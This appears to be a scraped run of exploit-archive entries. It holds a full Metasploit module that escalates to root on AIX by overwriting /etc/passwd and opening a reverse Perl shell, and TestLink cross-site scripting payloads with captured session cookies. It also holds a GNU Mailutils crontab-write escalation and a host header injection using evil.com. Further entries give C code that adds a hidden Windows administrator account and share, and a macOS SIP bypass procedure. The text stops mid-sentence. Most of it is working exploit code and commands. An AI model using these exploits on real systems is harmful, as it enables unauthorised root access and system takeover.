  14. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Xorg X11 Server Local Privilege Escalation', 'Description' => %q( WARNING: Successful execution of this module results in /etc/passwd being overwritten. This module is a port of the OpenBSD X11 Xorg exploit to run on AIX. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1. Due to permission restrictions of the crontab in AIX, this module does not use cron, and instead overwrites /etc/passwd in order to create a new user with root privileges. All currently logged in users need to be included when /etc/passwd is overwritten, else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX, and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when overwriting /etc/passwd. ), 'Author' => [ 'Narendra Shinde', # Discovery and original FreeBSD exploit 'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit ], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Oct 25 2018', 'Notes' => { 'SideEffects' => [ CONFIG_CHANGES ] }, 'References' => [ ['CVE', '2018-14665'], ['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'], ['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'], ['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'], ['EDB', '45938'] ], 'Platform' => ['unix'], 'Arch' => [ARCH_CMD], 'SessionTypes' => ['shell'], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'perl' } }, 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_perl' }, 'Targets' => [ ['IBM AIX Version 6.1', {}], ['IBM AIX Version 7.1', {}], ['IBM AIX Version 7.2', {}] ], 'DefaultTarget' => 1)) register_options( [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] ) end def check xorg_path = cmd_exec('command -v Xorg') if !xorg_path.include?('Xorg') print_error('Could not find Xorg executable') return Exploit::CheckCode::Safe end ksh93_path = cmd_exec('command -v ksh93') if !ksh93_path.include?('ksh') print_error('Could not find Ksh93 executable') return Exploit::CheckCode::Safe end if !xorg_vulnerable? print_error('Xorg version is not vulnerable') return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end def exploit status = check if status == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, '') end if !writable?(datastore['WritableDir']) fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable") end xorg_path = cmd_exec('command -v Xorg') ksh93_path = cmd_exec('command -v ksh93') xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir']) xorg_script_path = "#{datastore['WritableDir']}/wow.ksh" upload_and_chmodx(xorg_script_path, xorg_payload) passwd_backup = "#{datastore['WritableDir']}/passwd.backup" print_status("Backing up /etc/passwd to #{passwd_backup}") cmd_exec("cp /etc/passwd #{passwd_backup}") register_file_for_cleanup(passwd_backup) print_status("Executing #{xorg_script_path}") cmd_exec(xorg_script_path) print_status('Checking if we are root') if root? shell_payload = %(#!#{ksh93_path} #{payload.encoded} ) shell_script_path = "#{datastore['WritableDir']}/wowee.ksh" upload_and_chmodx(shell_script_path, shell_payload) print_status('Executing shell payload') cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"") print_status('Restoring original /etc/passwd') cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"") else fail_with(Failure::PayloadFailed, '') end end def generate_xorg_payload(xorg_path, ksh93_path, writabledir) passwd_file = read_file('/etc/passwd') passwd_array = passwd_file.split("\n") print_status('Retrieving currently logged in users') users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq') users << "\n" users_array = users.split("\n") logged_in_users = '' if !users_array.empty? users_array.each do |user| user << ':' passwd_array.each do |line| if line.index(user) == 0 logged_in_users << '\n' logged_in_users << line end end end end passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'" subdir_count = writabledir.count('/') relative_passwd = '../' * subdir_count + '../../etc/passwd' return %(#!#{ksh93_path} #{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1 ) end def xorg_vulnerable? version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'') print_status("Xorg version is #{version}") semantic_version = Gem::Version.new(version) vulnerable_versions = [ ['6.1.9.0', '6.1.9.100'], ['7.1.4.0', '7.1.4.30'], ['7.1.5.0', '7.1.5.31'], ['7.2.0.0', '7.2.0.1'], ['7.2.1.0', '7.2.1.0'], ['7.2.2.0', '7.2.2.0'], ['7.2.3.0', '7.2.3.15'] ] vulnerable_versions.each do |version_pair| if semantic_version >= Gem::Version.new(version_pair[0]) && semantic_version <= Gem::Version.new(version_pair[1]) return true end end return false end def root? id_output = cmd_exec('su - wow -c "id"') if id_output.include?('euid=0') || id_output.include?('uid=0') print_good('Got root!') return true end print_error('Not root') false end def upload_and_chmodx(path, data) print_status("Writing to #{path}") rm_f(path) write_file(path, data) cmd_exec("chmod 0555 '#{path}'") register_file_for_cleanup(path) end end
  15. # Exploit Title: TestLink 1.9.19 - Persistent Cross-Site Scripting # Date: 2019-11-20 # Exploit Author: Milad Khoshdel # Software Link: http://testlink.org/ # Version: TestLink 1.9.19 # Tested on: Linux Apache/2 PHP/7.3.11 ========= Vulnerable Pages: ========= Persistent --> https://[TestLink-URL]/testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3 Non-Persistent --> https://[TestLink-URL]/testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3 Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&nsextt=%3cscRipt%3ealert(0x00A5CA)%3c%2fscRipt%3e&show_mode=editDisabled&step_id= Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&%3cscRipt%3ealert(0x00A5CE)%3c%2fscRipt%3e=nsextt&show_mode=editDisabled Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&show_mode=%3cscRipt%3ealert(0x00A54D)%3c%2fscRipt%3e&step_id= ========= POC: ========= REGUEST --> GET /testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3 HTTP/1.1 Host: 127.0.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.5 Cache-Control: no-cache Connection: Keep-Alive Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TL_lastTestProjectForUserID_2=1; TESTLINK197TL_lastTestPlanForUserID_1=2; TESTLINK197TL_user2_proj1_testPlanId=2; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd Referer: http://127.0.0.1/testlink/login.php?viewer=3 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 RESPONSE --> HTTP/1.1 200 OK Server: Apache Content-Length: 526 X-Powered-By: PHP/7.3.11 Pragma: no-cache Expires: Thu, 19 Nov 1981 08:52:00 GMT Keep-Alive: timeout=5, max=50 X-Frame-Options: SAMEORIGIN Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Encoding: Date: Wed, 20 Nov 2019 11:29:45 GMT Vary: Cookie,Accept-Encoding Cache-Control: no-store, no-cache, must-revalidate <!DOCTYPE html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="Content-language" content="en" /> <meta name="generator" content="testlink" /> <meta name="author" content="TestLink Development Team" /> <meta name="copyright" content="TestLink Development Team" /> <meta name="robots" content="NOFOLLOW" /> <title>TestLink 1.9.19</title> <meta name="description" content="TestLink - TestLink ::: Main Page" /> <link rel="icon" href="http://127.0.0.1/testlink/gui/themes/default/images/favicon.ico" type="image/x-icon" /> </head> <frameset rows="70,*" frameborder="0" framespacing="0"> <frame src="lib/general/navBar.php?tproject_id=0&tplan_id=0&updateMainPage=1" name="titlebar" scrolling="no" noresize="noresize" /> <frame src="javascript:alert(0x002082)" scrolling='auto' name='mainframe' /> <noframes> <body> TestLink required a frames supporting browser. </body> </noframes> </frameset> ------------------------------------------------- STEP 1 --> [Request] GET /testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3 HTTP/1.1 Host: 127.0.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.5 Cache-Control: no-cache Connection: Keep-Alive Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TESTLINK197ys-tproject_1_ext-comp-1001=a%3As%253A%2F1%2F3; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd; TESTLINK197TL_user2_proj1_testPlanId=2; TESTLINK197TL_lastTestPlanForUserID_1=2; TL_lastTestProjectForUserID_2=1 Referer: http://127.0.0.1/testlink/lib/testcases/tcEdit.php User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 [Response] HTTP/1.1 200 OK Server: Apache Content-Length: 0 X-Powered-By: PHP/7.3.11 Pragma: no-cache Expires: Thu, 19 Nov 1981 08:52:00 GMT Keep-Alive: timeout=5, max=47 X-Frame-Options: SAMEORIGIN Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Nov 2019 11:59:45 GMT Vary: Cookie Cache-Control: no-store, no-cache, must-revalidate STEP 2 --> [Request] GET /testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=testcase&id=127.0.0.1/trace.axd&show_mode=show&version_id=3 HTTP/1.1 Host: 127.0.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.5 Cache-Control: no-cache Connection: Keep-Alive Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TESTLINK197ys-tproject_1_ext-comp-1001=a%3As%253A%2F1%2F3; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd; TESTLINK197TL_user2_proj1_testPlanId=2; TL_lastTestProjectForUserID_2=1; TESTLINK197TL_lastTestPlanForUserID_1=2 Referer: http://127.0.0.1/testlink/lib/testcases/tcEdit.php User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 [Response] #Identification Page HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Apache X-Powered-By: PHP/7.3.11 Pragma: no-cache Expires: Thu, 19 Nov 1981 08:52:00 GMT Keep-Alive: timeout=5, max=98 X-Frame-Options: SAMEORIGIN Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Encoding: Date: Wed, 20 Nov 2019 12:02:38 GMT Vary: Cookie,Accept-Encoding Cache-Control: no-store, no-cache, must-revalidate ner_title_{php}Smarty_Resource::parseResourceName(system("ns,[container_title_<scRipt>alert(0x008B19)</scRipt>] => container_title_<scRipt>alert(0x008B19)</scRipt>,[container_title_{{_self.env.registerUndefinedFilterCallback("sys
  16. #Exploit Title: ProShow Producer 9.0.3797 - ('ScsiAccess') Unquoted Service Path #Exploit Author : ZwX #Exploit Date: 2019-11-21 #Vendor Homepage : http://www.photodex.com/ #Link Software : http://files.photodex.com/release/pspro_90_3797.exe #Tested on OS: Windows 7 #Analyze PoC : ============== C:\Users\ZwX>sc qc ScsiAccess [SC] QueryServiceConfig réussite(s) SERVICE_NAME: ScsiAccess TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Photodex\ProShow Producer\ScsiAccess.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ScsiAccess DEPENDENCIES : SERVICE_START_NAME : LocalSystem
  17. # Exploit Title: GNU Mailutils 3.7 - Local Privilege Escalation # Date: 2019-11-06 # Exploit Author: Mike Gualtieri # Vendor Homepage: https://mailutils.org/ # Software Link: https://ftp.gnu.org/gnu/mailutils/mailutils-3.7.tar.gz # Version: 2.0 <= 3.7 # Tested on: Gentoo # CVE : CVE-2019-18862 Title : GNU Mailutils / Maidag Local Privilege Escalation Author : Mike Gualtieri :: https://www.mike-gualtieri.com Date : 2019-11-06 Updated : 2019-11-20 Vendor Affected: GNU Mailutils :: https://mailutils.org/ Versions Affected: 2.0 - 3.7 CVE Designator: CVE-2019-18862 1. Overview The --url parameter included in the GNU Mailutils maidag utility (versions 2.0 through 3.7) can abused to write to arbitrary files on the host operating system. By default, maidag is set to execute with setuid root permissions, which can lead to local privilege escalation through code/command execution by writing to the system's crontab or by writing to other root owned files on the operating system. 2. Detail As described by the project's homepage, "GNU Mailutils is a swiss army knife of electronic mail handling. It offers a rich set of utilities and daemons for processing e-mail". Maidag, a mail delivery agent utility included in the suite, is by default marked to execute with setuid (suid) root permissions. The --url parameter of maidag can be abused to write to arbitrary files on the operating system. Abusing this option while the binary is marked with suid permissions allows a low privileged user to write to arbitrary files on the system as root. Writing to the crontab, for example, may lead to a root shell. The flaw itself appears to date back to the 2008-10-19 commit, when the --url parameter was introduced to maidag. 11637b0f - New maidag mode: --url https://git.savannah.gnu.org/cgit/mailutils.git/commit/?id=11637b0f262db62b4dc466cefb9315098a1a995a maidag/Makefile.am: chmod 4755 $(DESTDIR)$(sbindir)/$$i;\ The following payload will execute arbitrary commands as root and works with versions of maidag, through version 3.7. maidag --url /etc/crontab < /tmp/crontab.in The file /tmp/crontab.in would contain a payload like the following. line 1: line 2: */1 * * * * root /tmp/payload.sh Please note: For the input to be accepted by maidag, the first line of the file must be blank or be commented. In the above example, the file /tmp/payload.sh would include arbitrary commands to execute as root. Older versions of GNU Mailutils (2.2 and previous) require a different syntax: maidag --url 'mbox://user@localhost //etc/crontab' < /tmp/crontab.in 3. Solution A fix for the flaw has been made in GNU Mailutils 3.8, which removes the maidag utility, and includes three new utilities that replace its functionality. Details about the new features can be found in the project's release notes: https://git.savannah.gnu.org/cgit/mailutils.git/tree/NEWS Another workaround for those unable to upgrade, is to remove the suid bit on /usr/sbin/maidag (e.g. `chmod u-s /usr/sbin/maidag`). It should be noted that some Linux distributions already remove the suid bit from maidag by default, nullifying this privilege escalation flaw. Another patch has been made available by Sergey Poznyakoff and posted to the GNU Mailutils mailing list, which removes the setuid bit for maidag in all but required cases. The patch is intended for users who can not yet upgrade to mailutils 3.8. The patch has also been made available here: https://www.mike-gualtieri.com/files/maidag-dropsetuid.patch 4. Additional Comments This vulnerability disclosure was submitted to MITRE Corporation for inclusion in the Common Vulnerabilities and Exposures (CVE) database. The designator CVE-2019-18862 has been assigned. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18862 https://nvd.nist.gov/vuln/detail/CVE-2019-18862 The NIST National Vulnerability Database (NVD) has assigned the following ratings: CVSS 3.x Severity and Metrics: Base Score: 7.8 HIGH CVSS 2.0 Severity and Metrics: Base Score: 4.6 MEDIUM This disclosure will be updated as new information becomes available. 5. History 2019-10-09 Informed Sergey Poznyakoff <[email protected]> of security issue 2019-10-10 Reply from Sergey acknowledging the issue 2019-10-12 Fix available in the GNU Mailutils git repository: 739c6ee5 - Split maidag into three single-purpose tools https://git.savannah.gnu.org/cgit/mailutils.git/commit/?id=739c6ee525a4f7bb76b8fe2bd75e81a122764ced 2019-11-06 GNU Mailutils Version 3.8 released to close the issue 2019-11-06 Submission of this vulnerability disclosure to MITRE Corporate to obtain a CVE designator 2019-11-07 Patch offered by Sergey for those unable to upgrade to version 3.8 2019-11-11 CVE-2019-18862 assigned to flaw 2019-11-20 Vulnerability disclosure made publicly available
  18. # Exploit Title: Network Management Card 6.2.0 - Host Header Injection # Google Dork: # Date: 2019-11-21 # Exploit Author: Amal E Thamban,Kamal Paul # Vendor Homepage: https://www.apc.com/in/en/ # Software Link: https://www.apc.com/shop/in/en/products/Network-Management-Card # Version: v6.2.0 # Tested on: Kali Linux # CVE : Description:Host Header Injection Product is vulnerable to host header injection because the host header can be changed to something outside the target domain (ie.evil.com) and cause it to redirect to to that domain instead. ------------------------------------------------------------------------------------------------------------------------- Orginal Request GET / HTTP/1.1 Host: 192.168.10.211 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.10.211/logon.htm Connection: close Cookie: C0=apc Upgrade-Insecure-Requests: 1 -------------------------------------------------------------------------------------------------------------------------- Modifed request GET / HTTP/1.1 Host: evil.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.10.211/logon.htm Connection: close Cookie: C0=apc Upgrade-Insecure-Requests: --------------------------------------------------------------------------------------------------------------------------- Response HTTP/1.1 303 See Other Location: http://evil.com/home.htm Content-Length: 0 WebServer: Connection: close
  19. # Exploit Title: LiteManager 4.5.0 - Insecure File Permissions # Exploit Author: ZwX # Exploit Date: 2019-11-21 # Vendor Homepage : LiteManager Team # Software Link: http://html.tucows.com/preview/1594042/LiteManager-Free?q=remote+support # Tested on OS: Windows 7 # Proof of Concept (PoC): ========================== C:\Program Files\LiteManagerFree - Server>icacls *.exe ROMFUSClient.exe Everyone:(F) AUTORITE NT\Système:(I)(F) BUILTIN\Administrateurs:(I)(F) BUILTIN\Utilisateurs:(I)(RX) #Exploit code(s): ================= 1) Compile below 'C' code name it as "ROMFUSClient.exe" #include<windows.h> int main(void){ system("net user hacker abc123 /add"); system("net localgroup Administrators hacker /add"); system("net share SHARE_NAME=c:\ /grant:hacker,full"); WinExec("C:\\Program Files\\LiteManagerFree\\~ROMFUSClient.exe",0); return 0; } 2) Rename original "ROMFUSClient.exe" to "~ROMFUSClient.exe" 3) Place our malicious "ROMFUSClient.exe" in the LiteManagerFree directory 4) Disconnect and wait for a more privileged user to connect and use ROMFUSClient IDE. Privilege Successful Escalation
  20. Tested on macOS Mojave (10.14.6, 18G87) and Catalina Beta (10.15 Beta 19A536g). On macOS, the dyld shared cache (in /private/var/db/dyld/) is generated locally on the system and therefore doesn't have a real code signature; instead, SIP seems to be the only mechanism that prevents modifications of the dyld shared cache. update_dyld_shared_cache, the tool responsible for generating the shared cache, is able to write to /private/var/db/dyld/ because it has the com.apple.rootless.storage.dyld entitlement. Therefore, update_dyld_shared_cache is responsible for ensuring that it only writes data from trustworthy libraries when updating the shared cache. update_dyld_shared_cache accepts two interesting command-line arguments that make it difficult to enforce these security properties: - "-root": Causes libraries to be read from, and the cache to be written to, a caller-specified filesystem location. - "-overlay": Causes libraries to be read from a caller-specified filesystem location before falling back to normal system directories. There are some checks related to this, but they don't look very effective. main() tries to see whether the target directory is protected by SIP: bool requireDylibsBeRootlessProtected = isProtectedBySIP(cacheDir); If that variable is true, update_dyld_shared_cache attempts to ensure that all source libraries are also protected by SIP. isProtectedBySIP() is implemented as follows: bool isProtectedBySIP(const std::string& path) { if ( !sipIsEnabled() ) return false; return (rootless_check_trusted(path.c_str()) == 0); } Ignoring that this looks like a typical symlink race issue, there's another problem: Looking in a debugger (with SIP configured so that only debugging restrictions and dtrace restrictions are disabled), it seems like rootless_check_trusted() doesn't work as expected: bash-3.2# lldb /usr/bin/update_dyld_shared_cache [...] (lldb) breakpoint set --name isProtectedBySIP(std::__1::basic_string<char,\ std::__1::char_traits<char>,\ std::__1::allocator<char>\ >\ const&) Breakpoint 1: where = update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&), address = 0x00000001000433a4 [...] (lldb) run -force Process 457 launched: '/usr/bin/update_dyld_shared_cache' (x86_64) Process 457 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x00000001000433a4 update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) update_dyld_shared_cache`isProtectedBySIP: -> 0x1000433a4 <+0>: pushq %rbp 0x1000433a5 <+1>: movq %rsp, %rbp 0x1000433a8 <+4>: pushq %rbx 0x1000433a9 <+5>: pushq %rax Target 0: (update_dyld_shared_cache) stopped. (lldb) breakpoint set --name rootless_check_trusted Breakpoint 2: where = libsystem_sandbox.dylib`rootless_check_trusted, address = 0x00007fff5f32b8ea (lldb) continue Process 457 resuming Process 457 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 frame #0: 0x00007fff5f32b8ea libsystem_sandbox.dylib`rootless_check_trusted libsystem_sandbox.dylib`rootless_check_trusted: -> 0x7fff5f32b8ea <+0>: pushq %rbp 0x7fff5f32b8eb <+1>: movq %rsp, %rbp 0x7fff5f32b8ee <+4>: movl $0xffffffff, %esi ; imm = 0xFFFFFFFF 0x7fff5f32b8f3 <+9>: xorl %edx, %edx Target 0: (update_dyld_shared_cache) stopped. (lldb) print (char*)$rdi (char *) $0 = 0x00007ffeefbff171 "/private/var/db/dyld/" (lldb) finish Process 457 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = step out frame #0: 0x00000001000433da update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) + 54 update_dyld_shared_cache`isProtectedBySIP: -> 0x1000433da <+54>: testl %eax, %eax 0x1000433dc <+56>: sete %al 0x1000433df <+59>: addq $0x8, %rsp 0x1000433e3 <+63>: popq %rbx Target 0: (update_dyld_shared_cache) stopped. (lldb) print $rax (unsigned long) $1 = 1 Looking around with a little helper (under the assumption that it doesn't behave differently because it doesn't have the entitlement), it looks like only a small part of the SIP-protected directories show up as protected when you check with rootless_check_trusted(): bash-3.2# cat rootless_test.c #include <stdio.h> int rootless_check_trusted(char *); int main(int argc, char **argv) { int res = rootless_check_trusted(argv[1]); printf("rootless status for '%s': %d (%s)\n", argv[1], res, (res == 0) ? "PROTECTED" : "MALLEABLE"); } bash-3.2# ./rootless_test / rootless status for '/': 1 (MALLEABLE) bash-3.2# ./rootless_test /System rootless status for '/System': 0 (PROTECTED) bash-3.2# ./rootless_test /System/ rootless status for '/System/': 0 (PROTECTED) bash-3.2# ./rootless_test /System/Library rootless status for '/System/Library': 0 (PROTECTED) bash-3.2# ./rootless_test /System/Library/Assets rootless status for '/System/Library/Assets': 1 (MALLEABLE) bash-3.2# ./rootless_test /System/Library/Caches rootless status for '/System/Library/Caches': 1 (MALLEABLE) bash-3.2# ./rootless_test /System/Library/Caches/com.apple.kext.caches rootless status for '/System/Library/Caches/com.apple.kext.caches': 1 (MALLEABLE) bash-3.2# ./rootless_test /usr rootless status for '/usr': 0 (PROTECTED) bash-3.2# ./rootless_test /usr/local rootless status for '/usr/local': 1 (MALLEABLE) bash-3.2# ./rootless_test /private rootless status for '/private': 1 (MALLEABLE) bash-3.2# ./rootless_test /private/var/db rootless status for '/private/var/db': 1 (MALLEABLE) bash-3.2# ./rootless_test /private/var/db/dyld/ rootless status for '/private/var/db/dyld/': 1 (MALLEABLE) bash-3.2# ./rootless_test /sbin rootless status for '/sbin': 0 (PROTECTED) bash-3.2# ./rootless_test /Applications/Mail.app/ rootless status for '/Applications/Mail.app/': 0 (PROTECTED) bash-3.2# Perhaps rootless_check_trusted() limits its trust to paths that are writable exclusively using installer entitlements like com.apple.rootless.install, or something like that? That's the impression I get when testing different entries from /System/Library/Sandbox/rootless.conf - the entries with no whitelisted specific entitlement show up as protected, the ones with a whitelisted specific entitlement show up as malleable. rootless_check_trusted() checks for the "file-write-data" permission through the MAC syscall, but I haven't looked in detail at how the policy actually looks. (By the way, looking at update_dyld_shared_cache, I'm not sure whether it would actually work if the requireDylibsBeRootlessProtected flag is true - it looks like addIfMachO() would never add any libraries to dylibsForCache because `sipProtected` is fixed to `false` and the call to isProtectedBySIP() is commented out?) In theory, this means it's possible to inject a modified version of a library into the dyld cache using either the -root or the -overlay flag of update_dyld_shared_cache, reboot, and then run an entitled binary that will use the modified library. However, there are (non-security) checks that make this annoying: - When loading libraries, loadPhase5load() checks whether the st_ino and st_mtime of the on-disk library match the ones embedded in the dyld cache at build time. - Recently, dyld started ensuring that the libraries are all on the "boot volume" (the path specified with "-root", or "/" if no root was specified). The inode number check means that it isn't possible to just create a malicious copy of a system library, run `update_dyld_shared_cache -overlay`, and reboot to use the malicious copy; the modified library will have a different inode number. I don't know whether HFS+ reuses inode numbers over time, but on APFS, not even that is possible; inode numbers are monotonically incrementing 64-bit integers. Since root (and even normal users) can mount filesystem images, I decided to create a new filesystem with appropriate inode numbers. I think HFS probably can't represent the full range of inode numbers that APFS can have (and that seem to show up on volumes that have been converted from HFS+ - that seems to result in inode numbers like 0x0fffffff00001666), so I decided to go with an APFS image. Writing code to craft an entire APFS filesystem would probably take quite some time, and the public open-source APFS implementations seem to be read-only, so I'm first assembling a filesystem image normally (create filesystem with newfs_apfs, mount it, copy files in, unmount), then renumbering the inodes. By storing files in the right order, I don't even need to worry about allocating and deallocating space in tree nodes and such - all replacements can be performed in-place. My PoC patches the cached version of csr_check() from libsystem_kernel.dylib so that it always returns zero, which causes the userspace kext loading code to ignore code signing errors. To reproduce: - Ensure that SIP is on. - Ensure that you have at least something like 8GiB of free disk space. - Unpack the attached dyld_sip.tar (as normal user). - Run ./collect.sh (as normal user). This should take a couple minutes, with more or less continuous status updates. At the end, it should say "READY" after mounting an image to /private/tmp/L. (If something goes wrong here and you want to re-run the script, make sure to detach the volume if the script left it attached - check "hdiutil info".) - As root, run "update_dyld_shared_cache -force -root /tmp/L". - Reboot the machine. - Build an (unsigned) kext from source. I have attached source code for a sample kext as testkext.tar - you can unpack it and use xcodebuild -, but that's just a simple "hello world" kext, you could also use anything else. - As root, copy the kext to /tmp/. - As root, run "kextutil /tmp/[...].kext". You should see something like this: bash-3.2# cp -R testkext/build/Release/testkext.kext /tmp/ && kextutil /tmp/testkext.kext Kext with invalid signatured (-67050) allowed: <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" } Code Signing Failure: code signature is invalid Disabling KextAudit: SIP is off Invalid signature -67050 for kext <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" } bash-3.2# dmesg|tail -n1 test kext loaded bash-3.2# kextstat | grep test 120 0 0xffffff7f82a50000 0x2000 0x2000 net.thejh.test.testkext (1) A24473CD-6525-304A-B4AD-B293016E5FF0 <5> bash-3.2# Miscellaneous notes: - It looks like there's an OOB kernel write in the dyld shared cache pager; but AFAICS that isn't reachable unless you've already defeated SIP, so I don't think it's a vulnerability: vm_shared_region_slide_page_v3() is used when a page from the dyld cache is being paged in. It essentially traverses a singly-linked list of relocations inside the page; the offset of the first relocation (iow the offset of the list head) is stored permanently in kernel memory when the shared cache is initialized. As far as I can tell, this function is missing bounds checks; if either the starting offset or the offset stored in the page being paged in points outside the page, a relocation entry will be read from OOB memory, and a relocated address will conditionally be written back to the same address. - There is a check `rootPath != "/"` in update_dyld_shared_cache; but further up is this: // canonicalize rootPath if ( !rootPath.empty() ) { char resolvedPath[PATH_MAX]; if ( realpath(rootPath.c_str(), resolvedPath) != NULL ) { rootPath = resolvedPath; } // <rdar://problem/33223984> when building closures for boot volume, pathPrefixes should be empty if ( rootPath == "/" ) { rootPath = ""; } } So as far as I can tell, that condition is always true, which means that when an overlay path is specified with `-overlay`, the cache is written to the root even though the code looks as if the cache is intended to be written to the overlay. - Some small notes regarding the APFS documentation at <https://developer.apple.com/support/downloads/Apple-File-System-Reference.pdf>: - The typedef for apfs_superblock_t is missing. - The documentation claims that APFS_TYPE_DIR_REC keys are j_drec_key_t, but actually they can be j_drec_hashed_key_t. - The documentation claims that o_cksum is "The Fletcher 64 checksum of the object", but actually APFS requires that the fletcher64 checksum of all data behind the checksum concatenated with the checksum is zero. (In other words, you cut out the checksum field at the start, append it at the end, then run fletcher64 over the buffer, and then 